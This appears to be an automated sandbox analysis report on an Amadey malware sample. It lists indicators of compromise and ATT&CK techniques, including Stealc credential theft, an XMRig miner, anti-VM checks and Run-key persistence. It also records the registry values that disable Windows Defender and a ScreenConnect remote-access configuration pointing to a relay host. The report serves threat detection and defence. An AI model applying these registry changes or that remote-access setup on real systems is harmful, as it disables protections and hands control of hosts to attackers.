amadey | e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	8e7b403317.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	8e7b403317.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	8e7b403317.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	8e7b403317.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	8e7b403317.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	8e7b403317.exe

Stealc
Stealc is an infostealer written in C++.
stealer stealc
Stealc family
stealc
Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 10 IoCs

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	50f1782a88.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	8e7b403317.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	273ca88060.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	H9TU4oY.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	d4697f2f2d.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

XMRig Miner payload 13 IoCs

miner

resource	yara_rule
behavioral2/memory/1588-4066-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4067-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4068-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4069-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4070-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4071-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4072-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4075-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4077-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/1588-4078-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/380-4111-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/380-4113-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig
behavioral2/memory/380-4115-0x0000000140000000-0x0000000140770000-memory.dmp	xmrig

Downloads MZ/PE file

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (eecac53463291819)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (eecac53463291819)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=instance-cxesop-relay.screenconnect.com&p=443&s=b348b20e-2f54-4d2b-ae1f-bca185297803&k=BgIAAACkAABSU0ExAAgAAAEAAQDx1DHr4t4dt8ezw9lB%2fAZu61lzOgi0vaiVYGdRvGLHe%2fMcvb5Lpv%2fMiRt%2bnJ3tq%2frtseQSQWvbbVdRjxfce31nmMEp%2f1PAVmTl3fwEYA1nCr0dd%2fV%2bMSoMjceavUp0WVj7eRWHA6bNGzYSn5o73ZcILBdRw%2f3jSJ6CgAPJBVMmuv7rFKKZ%2b5N8sdLjxWROqyQbD%2b%2fVYbOCjPSB41oQm%2feZa3S3dqb54HfFBeo03T9ZLnc4oQ65Mabx8v%2bIKhwdH15qLzbe2qCb8palNLn0UxIAV2tlJJHkIQXrYLlVVfpFPJXj118ZgMG7GUqfzoT1k56csyoWsFLZClXlsSLEHGC8&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAATEsmPOMyVkOonVeptikfaAAAAAACAAAAAAAQZgAAAAEAACAAAACi1aE0GJ8LEMosVxTaKAKNJxcUjbdHesEA0nk9vleAagAAAAAOgAAAAAIAACAAAACXyWoT%2bZPpZdgCpiDgydNwFxhnZIM5NgSXeS5RAcrJBKAEAADyU4cuDoWfZOzexnVGrbPA48awPlyXl19ONyGiOl%2bg6QThYMXHpMi8G7jGo3pwe2Z9TO7iWVBBfPYzG2hFkwoPnyKUUTR6ngIQo0lbwL4Q3PzWEftIqZ5BWwhbiqZyj7SFusdiFru301K0KBi9yM2S%2b1hDubJ2hxr2%2bb%2bKmLX3vCwaP4XIqC1T63DaUwn84%2fWekWorMAJxxRi%2bdA68RNf4kvf%2brF0K22DEALpHhFd%2b02VgN3plO%2bVbkV3Jvp0RoNxCzqqxI1PQeMvT53HcoeZAGTQa7i3rfPFo1p9cc%2bZCjB5DGlBa86BtJJOGDswP1NLOVuvSiAxxCz2oEOe4fqPC0nEtm5Et9xk%2f%2f7Abuo9MpqtJ29p5ZKC1Ru7Z0KJMUDHJ4eMUD8kfWWN4oh7hdyD8xXv03Q%2fexbwx2WFLo5JoAkMRZ%2bfA%2bkn0X3HDemt3ZrQxJjxOVNMFiajDLRu98kIHzROumchq2xAHWpZP%2fXW2Y%2bn7%2bFq%2bYjronyYJ%2fhlD5lQWUqBuxVv38BGricBz7EZM0Q5lY0uJNi4PNyzsEAVTCLlGwKl0UsB69JlEpzgZmuVBPCj0eHgCOHldq8pprTsDTNl9%2bycdIyDYtU7VCVNfb0gT4eXygNuQ%2fgX2ylXPU4PyoEoct7EoYpmwhZRPuZV4zmPfu1oE%2f3W0V3b%2ffqsLhocHe%2frLYYT2%2fypaf%2fRd9AweQv6SSc1pKlDSXpJnZQy1EBZQjbvYztBi%2b0sxZVJAV%2bfOAvzXPQUJgGoueH%2bFCrhXG36WjvEyXPEPuoC%2fmUux0TDmhLmBPEk3uS0kVhGURJTlhFI5UcXTxH13ATmR1F1RaE6SKPqtRME2FvqiQ1QGoZKDautgjmYfTE4umIC%2fwtwOURQzBUC7iW7ZigizctYvYI7QKPTTLziIGsHSK07dgUeWZRaeZ4Jl4EExQ2ySqGlMkw%2bOoV%2f5H1Mm0HwZ%2fxKGye3kN%2fkVIrBUFqMLZR4XokK9pNf5qRIFXrxXLC7C2zbi6QMPezD789500LYKRGZy1LoPXVUU6OES9xl8wTzQCXCsFswfi1i5aXGwPe6Q7amK4jx6yPfdQJ202CJvUtHC0ZEMJ%2bwgdzQlHL85eNxqqYkMLJHuN5hlvrQoypIkHYYDNdx67odfXs2xlgKGQKBriMbnmkWbtoWR2kLn8kdwXn8H9Snl87mB%2bYqL%2bxZ7V7xGpnznfEUOnpVywl4VyFQMqruwK7NSye9uN0EF4KR96GuXfYdAjfoKEv6Xdsa0weg8gvzcMuyyAbI9Wf9HMW3G2YjAsr4O6vTBN%2bg3U3VLrAEsQcxXTB3zJVrBpNvEqtW0pjQ964dPjTQJtV7IcKrVYCkM9TgmKiMruJCIQ9era9p03kkB3VOrjkw6Uv86ov4OufJnbrEitRNGdf94tds5RON3CmrY68ipX1Z7ERfyhvr5Uc2OfYOBNzy%2fm9LL9q3nhmiEQ9OgKEJfXN8JdALY0vVZzoI5bpvwJraaPUTX8sEn99%2bOk64rLusAlch5uoCTNwPiUpQc%2bhqqK315EamJ9P%2bvqfiZG8D%2fTKDULW7YWFo%2bPDAAlCzb3xfdLxT5pkAAAACjOZZYFdXVOmjRusa3yP6O1KOXbtmxJH8zQsGwUIeS6Dr4FXTLh0bwH7qS9NOqSvdDZhGtYLqsgUo1poFj1M8A\""	ScreenConnect.ClientService.exe

Checks BIOS information in registry 2 TTPs 20 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	d4697f2f2d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8e7b403317.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	H9TU4oY.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8e7b403317.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	H9TU4oY.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	d4697f2f2d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	50f1782a88.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	50f1782a88.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	273ca88060.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	273ca88060.exe

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	skotes.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	94CwbGg.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	cfcc66d57e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	d7f50a317e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 30 IoCs

pid	Process
1544	skotes.exe
1308	94CwbGg.exe
4752	H9TU4oY.exe
2240	d4697f2f2d.exe
3564	50f1782a88.exe
4972	8dbbf83d55.exe
2904	skotes.exe
1176	8e7b403317.exe
5332	ScreenConnect.ClientService.exe
5632	ScreenConnect.WindowsClient.exe
6032	cfcc66d57e.exe
5300	ScreenConnect.WindowsClient.exe
5656	3de93ca7d8.exe
4792	7z.exe
5856	7z.exe
6048	7z.exe
6080	7z.exe
5888	7z.exe
5752	7z.exe
5216	7z.exe
2268	7z.exe
3756	in.exe
3740	3de93ca7d8.exe
6016	3de93ca7d8.exe
2940	d7f50a317e.exe
2636	273ca88060.exe
3196	skotes.exe
2284	Intel_PTT_EK_Recertification.exe
5836	skotes.exe
3148	Intel_PTT_EK_Recertification.exe

Identifies Wine through registry keys 2 TTPs 10 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	H9TU4oY.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	d4697f2f2d.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	50f1782a88.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	273ca88060.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	8e7b403317.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	skotes.exe
Key opened	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Wine	skotes.exe

Loads dropped DLL 30 IoCs

pid	Process
624	MsiExec.exe
3096	rundll32.exe
3096	rundll32.exe
3096	rundll32.exe
3096	rundll32.exe
3096	rundll32.exe
3096	rundll32.exe
3096	rundll32.exe
3096	rundll32.exe
3096	rundll32.exe
6084	MsiExec.exe
5304	MsiExec.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
5332	ScreenConnect.ClientService.exe
4792	7z.exe
5856	7z.exe
6048	7z.exe
6080	7z.exe
5888	7z.exe
5752	7z.exe
5216	7z.exe
2268	7z.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	8e7b403317.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	8e7b403317.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d4697f2f2d.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015440001\\d4697f2f2d.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\50f1782a88.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015441001\\50f1782a88.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8dbbf83d55.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015442001\\8dbbf83d55.exe"	skotes.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8e7b403317.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1015443001\\8e7b403317.exe"	skotes.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral2/files/0x0007000000023cc2-156.dat	autoit_exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800650065006300610063003500330034003600330032003900310038003100390029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (eecac53463291819)\kopxyg2a.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (eecac53463291819)\kopxyg2a.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 10 IoCs

pid	Process
3020	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
1544	skotes.exe
4752	H9TU4oY.exe
2240	d4697f2f2d.exe
3564	50f1782a88.exe
2904	skotes.exe
1176	8e7b403317.exe
2636	273ca88060.exe
3196	skotes.exe
5836	skotes.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5656 set thread context of 6016	5656	3de93ca7d8.exe	173
PID 2284 set thread context of 1588	2284	Intel_PTT_EK_Recertification.exe	188
PID 3148 set thread context of 380	3148	Intel_PTT_EK_Recertification.exe	194

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3756-733-0x00007FF6EBB90000-0x00007FF6EC020000-memory.dmp	upx
behavioral2/memory/3756-736-0x00007FF6EBB90000-0x00007FF6EC020000-memory.dmp	upx
behavioral2/memory/2284-4064-0x00007FF6BBD80000-0x00007FF6BC210000-memory.dmp	upx
behavioral2/memory/2284-4074-0x00007FF6BBD80000-0x00007FF6BC210000-memory.dmp	upx
behavioral2/memory/3148-4101-0x00007FF6BBD80000-0x00007FF6BC210000-memory.dmp	upx
behavioral2/memory/3148-4114-0x00007FF6BBD80000-0x00007FF6BC210000-memory.dmp	upx

Drops file in Program Files directory 16 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (eecac53463291819)\ScreenConnect.WindowsClient.exe	msiexec.exe

Drops file in Windows directory 14 IoCs

description	ioc	Process
File created	C:\Windows\Installer\{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}\DefaultIcon	msiexec.exe
File created	C:\Windows\Tasks\skotes.job	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
File opened for modification	C:\Windows\Installer\MSI2BCE.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2C3C.tmp	msiexec.exe
File created	C:\Windows\Installer\e58278a.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\wix{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}.SchedServiceConfig.rmi	MsiExec.exe
File opened for modification	C:\Windows\Installer\e582788.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI2D37.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e582788.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{12824592-3920-8E5F-2AA2-5C8A8FB17FE5}	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5884	2940	WerFault.exe	175

System Location Discovery: System Language Discovery 1 TTPs 28 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	94CwbGg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cfcc66d57e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language\InstallLanguage	8dbbf83d55.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	e4749a946131d4dc4625819bc09be7862498aaa3afad6d456c6ff8964ae77cfe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8dbbf83d55.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3de93ca7d8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d4697f2f2d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	H9TU4oY.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8e7b403317.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	273ca88060.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Nls\Language	8dbbf83d55.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3de93ca7d8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	d7f50a317e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	50f1782a88.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 6 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5244	powershell.exe
5940	PING.EXE
5436	powershell.exe
3428	PING.EXE
1504	powershell.exe
788	PING.EXE

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
